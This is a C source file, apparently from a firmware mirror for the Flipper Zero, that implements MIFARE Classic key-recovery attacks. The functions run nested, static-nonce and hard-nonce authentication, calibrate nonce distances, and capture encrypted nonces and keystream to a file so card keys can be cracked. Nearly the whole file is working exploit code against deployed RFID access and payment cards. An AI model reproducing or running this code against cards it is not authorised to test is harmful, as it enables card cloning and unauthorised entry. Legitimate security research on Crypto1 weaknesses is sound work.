mirror of
https://github.com/DarkFlippers/unleashed-firmware
synced 2024-12-13 06:32:26 +00:00
718 lines
19 KiB
C
718 lines
19 KiB
C
#include "nested.h"
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#include <furi_hal_nfc.h>
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#include "../../lib/parity/parity.h"
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#include "../../lib/crypto1/crypto1.h"
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#define TAG "Nested"
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uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {
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uint16_t crc = 0x6363; // NFCA_CRC_INIT
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uint8_t byte = 0;
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for(uint8_t i = 0; i < len; i++) {
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byte = buff[i];
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byte ^= (uint8_t)(crc & 0xff);
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byte ^= byte << 4;
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crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^
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(((uint16_t)byte) >> 4);
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}
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return crc;
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}
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void nfca_append_crc16(uint8_t* buff, uint16_t len) {
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uint16_t crc = nfca_get_crc16(buff, len);
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buff[len] = (uint8_t)crc;
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buff[len + 1] = (uint8_t)(crc >> 8);
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}
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bool mifare_sendcmd_short(
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Crypto1* crypto,
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FuriHalNfcTxRxContext* tx_rx,
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bool crypted,
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uint32_t cmd,
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uint32_t data) {
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uint16_t pos;
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uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
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nfca_append_crc16(dcmd, 2);
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memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
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memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
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if(crypted) {
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for(pos = 0; pos < 4; pos++) {
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uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];
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tx_rx->tx_data[pos] = res;
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tx_rx->tx_parity[0] |=
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(((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));
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}
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tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
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tx_rx->tx_bits = 4 * 8;
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} else {
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for(pos = 0; pos < 2; pos++) {
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tx_rx->tx_data[pos] = dcmd[pos];
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}
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tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;
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tx_rx->tx_bits = 2 * 8;
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}
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if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;
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return true;
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}
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bool mifare_classic_authex(
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Crypto1* crypto,
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FuriHalNfcTxRxContext* tx_rx,
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uint32_t uid,
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uint32_t blockNo,
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uint32_t keyType,
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uint64_t ui64Key,
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bool isNested,
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uint32_t* ntptr) {
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uint32_t nt, ntpp; // Supplied tag nonce
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uint8_t nr[4];
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// "random" reader nonce:
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nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT
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// Transmit MIFARE_CLASSIC_AUTH
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if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {
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return false;
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};
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memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
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memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
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nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
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if(isNested) crypto1_reset(crypto); // deinit
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crypto1_init(crypto, ui64Key);
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if(isNested) {
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nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;
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} else {
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crypto1_word(crypto, nt ^ uid, 0);
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}
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// save Nt
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if(ntptr) *ntptr = nt;
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// Generate (encrypted) nr+parity by loading it into the cipher (Nr)
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tx_rx->tx_parity[0] = 0;
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for(uint8_t i = 0; i < 4; i++) {
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tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];
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tx_rx->tx_parity[0] |=
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(((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));
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}
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nt = prng_successor(nt, 32);
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for(uint8_t i = 4; i < 8; i++) {
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nt = prng_successor(nt, 8);
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tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);
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tx_rx->tx_parity[0] |=
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(((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));
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}
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tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
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tx_rx->tx_bits = 8 * 8;
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if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {
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return false;
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};
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uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
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ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);
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if(answer != ntpp) {
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return false;
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}
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return true;
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}
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static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {
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return ((oddparity8((Nt >> 24) & 0xFF) ==
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((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&
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(oddparity8((Nt >> 16) & 0xFF) ==
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((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&
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(oddparity8((Nt >> 8) & 0xFF) ==
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((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?
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1 :
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0;
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}
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void nonce_distance(uint32_t* msb, uint32_t* lsb) {
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uint16_t x = 1, pos;
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uint8_t calc_ok = 0;
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for(uint16_t i = 1; i; ++i) {
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pos = (x & 0xff) << 8 | x >> 8;
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if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {
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*msb = i;
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calc_ok |= 0x01;
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}
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if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {
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*lsb = i;
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calc_ok |= 0x02;
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}
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if(calc_ok == 0x03) {
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return;
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}
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x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
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}
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}
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bool validate_prng_nonce(uint32_t nonce) {
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uint32_t msb = nonce >> 16;
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uint32_t lsb = nonce & 0xffff;
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nonce_distance(&msb, &lsb);
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return ((65535 - msb + lsb) % 65535) == 16;
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}
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MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {
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uint32_t nonces[5] = {};
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uint8_t sameNonces = 0;
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uint8_t hardNonces = 0;
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Crypto1 crypt;
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Crypto1* crypto = {&crypt};
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for(int32_t i = 0; i < 5; i++) {
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// Setup nfc poller
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nfc_activate();
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furi_hal_nfc_activate_nfca(100, NULL);
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// Start communication
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bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);
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if(!success) {
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continue;
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};
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uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
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if(nt == 0) continue;
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if(!validate_prng_nonce(nt)) hardNonces++;
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nonces[i] = nt;
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nfc_deactivate();
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}
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for(int32_t i = 0; i < 5; i++) {
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for(int32_t j = 0; j < 5; j++) {
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if(i != j && nonces[j] && nonces[i] == nonces[j]) {
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sameNonces++;
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}
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}
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}
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if(!nonces[4]) {
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return MifareNestedNonceNoTag;
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}
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if(sameNonces > 3) {
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return MifareNestedNonceStatic;
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}
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if(hardNonces > 3) {
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return MifareNestedNonceHard;
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}
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return MifareNestedNonceWeak;
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}
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struct nonce_info_static nested_static_nonce_attack(
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FuriHalNfcTxRxContext* tx_rx,
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uint8_t blockNo,
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uint8_t keyType,
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uint8_t targetBlockNo,
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uint8_t targetKeyType,
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uint64_t ui64Key) {
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uint32_t cuid = 0;
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Crypto1* crypto = malloc(sizeof(Crypto1));
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struct nonce_info_static r;
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r.full = false;
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// Setup nfc poller
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nfc_activate();
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if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
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free(crypto);
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return r;
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}
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r.cuid = cuid;
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uint32_t nt1;
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uint32_t nt_unused;
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crypto1_reset(crypto);
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mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
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if(targetKeyType == 1 && nt1 == 0x009080A2) {
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r.target_nt[0] = prng_successor(nt1, 161);
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r.target_nt[1] = prng_successor(nt1, 321);
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} else {
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r.target_nt[0] = prng_successor(nt1, 160);
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r.target_nt[1] = prng_successor(nt1, 320);
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}
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bool success =
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mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
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if(!success) {
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free(crypto);
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return r;
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};
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uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
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r.target_ks[0] = nt2 ^ r.target_nt[0];
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nfc_activate();
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if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
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free(crypto);
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return r;
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}
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crypto1_reset(crypto);
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mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
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mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);
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success =
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mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
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free(crypto);
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if(!success) {
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return r;
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};
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uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
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r.target_ks[1] = nt3 ^ r.target_nt[1];
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r.full = true;
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nfc_deactivate();
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return r;
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}
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uint32_t nested_calibrate_distance(
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FuriHalNfcTxRxContext* tx_rx,
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uint8_t blockNo,
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uint8_t keyType,
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uint64_t ui64Key,
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uint32_t delay,
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bool full) {
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uint32_t cuid = 0;
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Crypto1* crypto = malloc(sizeof(Crypto1));
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uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
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uint32_t max_prng_value = full ? 65565 : 1200;
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uint32_t rounds = full ? 5 : 17; // full does not require precision
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uint32_t collected = 0;
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for(rtr = 0; rtr < rounds; rtr++) {
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nfc_activate();
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if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
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if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {
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continue;
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}
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furi_delay_us(delay);
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if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {
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continue;
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}
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// NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
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uint32_t nttmp = prng_successor(nt1, 100);
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for(i = 101; i < max_prng_value; i++) {
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nttmp = prng_successor(nttmp, 1);
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if(nttmp == nt2) break;
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}
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if(i != max_prng_value) {
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if(rtr != 0) {
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davg += i;
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dmin = MIN(dmin, i);
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dmax = MAX(dmax, i);
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} else {
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dmin = dmax = i;
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}
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FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
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collected++;
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} else {
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unsuccessful_tries++;
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if(unsuccessful_tries > 12) {
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free(crypto);
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FURI_LOG_E(
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TAG,
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"Tag isn't vulnerable to nested attack (random numbers are not predictable)");
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return 0;
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}
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}
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}
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if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);
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davg = MIN(MAX(dmin, davg), dmax);
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FURI_LOG_I(
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TAG,
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"Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu",
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rtr,
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dmin,
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dmax,
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davg,
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collected);
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free(crypto);
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nfc_deactivate();
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return davg;
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}
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struct distance_info nested_calibrate_distance_info(
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FuriHalNfcTxRxContext* tx_rx,
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uint8_t blockNo,
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uint8_t keyType,
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uint64_t ui64Key) {
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uint32_t cuid = 0;
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Crypto1* crypto = malloc(sizeof(Crypto1));
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uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
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struct distance_info r;
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r.min_prng = 0;
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r.max_prng = 0;
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r.mid_prng = 0;
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for(rtr = 0; rtr < 10; rtr++) {
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nfc_activate();
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if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
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mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
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mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
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// NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
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uint32_t nttmp = prng_successor(nt1, 1);
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for(i = 2; i < 65565; i++) {
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nttmp = prng_successor(nttmp, 1);
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if(nttmp == nt2) break;
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}
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if(i != 65565) {
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if(rtr != 0) {
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davg += i;
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if(dmin == 0) {
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dmin = i;
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} else {
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dmin = MIN(dmin, i);
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}
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dmax = MAX(dmax, i);
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}
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FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
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} else {
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unsuccessful_tries++;
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if(unsuccessful_tries > 12) {
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free(crypto);
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FURI_LOG_E(
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TAG,
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"Tag isn't vulnerable to nested attack (random numbers are not predictable)");
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return r;
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}
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}
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}
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if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);
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FURI_LOG_I(
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TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg);
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r.min_prng = dmin;
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r.max_prng = dmax;
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r.mid_prng = davg;
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free(crypto);
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nfc_deactivate();
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return r;
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}
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struct nonce_info nested_attack(
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FuriHalNfcTxRxContext* tx_rx,
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uint8_t blockNo,
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uint8_t keyType,
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uint8_t targetBlockNo,
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uint8_t targetKeyType,
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uint64_t ui64Key,
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uint32_t distance,
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uint32_t delay) {
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uint32_t cuid = 0;
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Crypto1* crypto = malloc(sizeof(Crypto1));
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uint8_t par_array[4] = {0x00};
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uint32_t nt1, nt2, ks1, i = 0, j = 0;
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struct nonce_info r;
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uint32_t dmin = distance - 2;
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uint32_t dmax = distance + 2;
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r.full = false;
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for(i = 0; i < 2; i++) { // look for exactly two different nonces
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r.target_nt[i] = 0;
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while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce
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nfc_activate();
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if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
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free(crypto);
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return r;
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}
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r.cuid = cuid;
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mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
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furi_delay_us(delay);
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|
|
|
bool success = mifare_sendcmd_short(
|
|
crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
|
|
|
|
if(!success) continue;
|
|
|
|
nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
|
|
|
|
// Parity validity check
|
|
for(j = 0; j < 4; j++) {
|
|
par_array[j] =
|
|
(oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
|
|
}
|
|
|
|
uint32_t ncount = 0;
|
|
uint32_t nttest = prng_successor(nt1, dmin - 1);
|
|
|
|
for(j = dmin; j < dmax + 1; j++) {
|
|
nttest = prng_successor(nttest, 1);
|
|
ks1 = nt2 ^ nttest;
|
|
|
|
if(valid_nonce(nttest, nt2, ks1, par_array)) {
|
|
if(ncount > 0) { // we are only interested in disambiguous nonces, try again
|
|
FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j);
|
|
r.target_nt[i] = 0;
|
|
break;
|
|
}
|
|
|
|
if(delay) {
|
|
// will predict later
|
|
r.target_nt[i] = nt1;
|
|
r.target_ks[i] = nt2;
|
|
} else {
|
|
r.target_nt[i] = nttest;
|
|
r.target_ks[i] = ks1;
|
|
}
|
|
|
|
memcpy(&r.parity[i], par_array, 4);
|
|
ncount++;
|
|
|
|
if(i == 1 &&
|
|
(r.target_nt[0] == r.target_nt[1] ||
|
|
r.target_ks[0] == r.target_ks[1])) { // we need two different nonces
|
|
r.target_nt[i] = 0;
|
|
FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j);
|
|
break;
|
|
}
|
|
|
|
FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j);
|
|
}
|
|
}
|
|
|
|
if(r.target_nt[i] == 0 && j == dmax + 1) {
|
|
FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1);
|
|
}
|
|
}
|
|
}
|
|
|
|
if(r.target_nt[0] && r.target_nt[1]) {
|
|
r.full = true;
|
|
}
|
|
|
|
free(crypto);
|
|
|
|
nfc_deactivate();
|
|
|
|
return r;
|
|
}
|
|
|
|
struct nonce_info_hard nested_hard_nonce_attack(
|
|
FuriHalNfcTxRxContext* tx_rx,
|
|
uint8_t blockNo,
|
|
uint8_t keyType,
|
|
uint8_t targetBlockNo,
|
|
uint8_t targetKeyType,
|
|
uint64_t ui64Key,
|
|
uint32_t* found,
|
|
uint32_t* first_byte_sum,
|
|
Stream* file_stream) {
|
|
uint32_t cuid = 0;
|
|
uint8_t same = 0;
|
|
uint64_t previous = 0;
|
|
Crypto1* crypto = malloc(sizeof(Crypto1));
|
|
uint8_t par_array[4] = {0x00};
|
|
struct nonce_info_hard r;
|
|
r.full = false;
|
|
r.static_encrypted = false;
|
|
|
|
for(uint32_t i = 0; i < 8; i++) {
|
|
nfc_activate();
|
|
if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
|
|
free(crypto);
|
|
return r;
|
|
}
|
|
|
|
r.cuid = cuid;
|
|
|
|
if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
|
|
continue;
|
|
|
|
if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
|
|
continue;
|
|
|
|
uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
|
|
|
|
for(uint32_t j = 0; j < 4; j++) {
|
|
par_array[j] =
|
|
(oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
|
|
}
|
|
|
|
uint8_t pbits = 0;
|
|
for(uint8_t j = 0; j < 4; j++) {
|
|
uint8_t p = oddparity8(tx_rx->rx_data[j]);
|
|
if(par_array[j]) {
|
|
p ^= 1;
|
|
}
|
|
pbits <<= 1;
|
|
pbits |= p;
|
|
}
|
|
|
|
// update unique nonces
|
|
if(!found[tx_rx->rx_data[0]]) {
|
|
*first_byte_sum += evenparity32(pbits & 0x08);
|
|
found[tx_rx->rx_data[0]]++;
|
|
}
|
|
|
|
if(nt == previous) {
|
|
same++;
|
|
}
|
|
|
|
previous = nt;
|
|
|
|
FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
|
|
stream_write_string(file_stream, row);
|
|
|
|
FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
|
|
furi_string_free(row);
|
|
}
|
|
|
|
if(same > 4) {
|
|
r.static_encrypted = true;
|
|
}
|
|
|
|
r.full = true;
|
|
|
|
free(crypto);
|
|
|
|
nfc_deactivate();
|
|
|
|
return r;
|
|
}
|
|
|
|
NestedCheckKeyResult nested_check_key(
|
|
FuriHalNfcTxRxContext* tx_rx,
|
|
uint8_t blockNo,
|
|
uint8_t keyType,
|
|
uint64_t ui64Key) {
|
|
uint32_t cuid = 0;
|
|
uint32_t nt;
|
|
|
|
nfc_activate();
|
|
if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;
|
|
|
|
FURI_LOG_D(
|
|
TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo);
|
|
|
|
Crypto1* crypto = malloc(sizeof(Crypto1));
|
|
|
|
bool success =
|
|
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);
|
|
|
|
free(crypto);
|
|
|
|
nfc_deactivate();
|
|
|
|
return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;
|
|
}
|
|
|
|
bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {
|
|
uint32_t cuid = 0;
|
|
|
|
nfc_activate();
|
|
if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;
|
|
|
|
Crypto1* crypto = malloc(sizeof(Crypto1));
|
|
|
|
bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);
|
|
|
|
free(crypto);
|
|
|
|
nfc_deactivate();
|
|
|
|
return success;
|
|
}
|
|
|
|
void nested_get_data(FuriHalNfcDevData* dev_data) {
|
|
nfc_activate();
|
|
furi_hal_nfc_detect(dev_data, 400);
|
|
nfc_deactivate();
|
|
}
|
|
|
|
void nfc_activate() {
|
|
nfc_deactivate();
|
|
|
|
// Setup nfc poller
|
|
furi_hal_nfc_exit_sleep();
|
|
furi_hal_nfc_ll_txrx_on();
|
|
furi_hal_nfc_ll_poll();
|
|
if(furi_hal_nfc_ll_set_mode(
|
|
FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=
|
|
FuriHalNfcReturnOk)
|
|
return;
|
|
|
|
furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);
|
|
furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);
|
|
furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);
|
|
furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);
|
|
}
|
|
|
|
void nfc_deactivate() {
|
|
furi_hal_nfc_ll_txrx_off();
|
|
furi_hal_nfc_start_sleep();
|
|
furi_hal_nfc_sleep();
|
|
}
|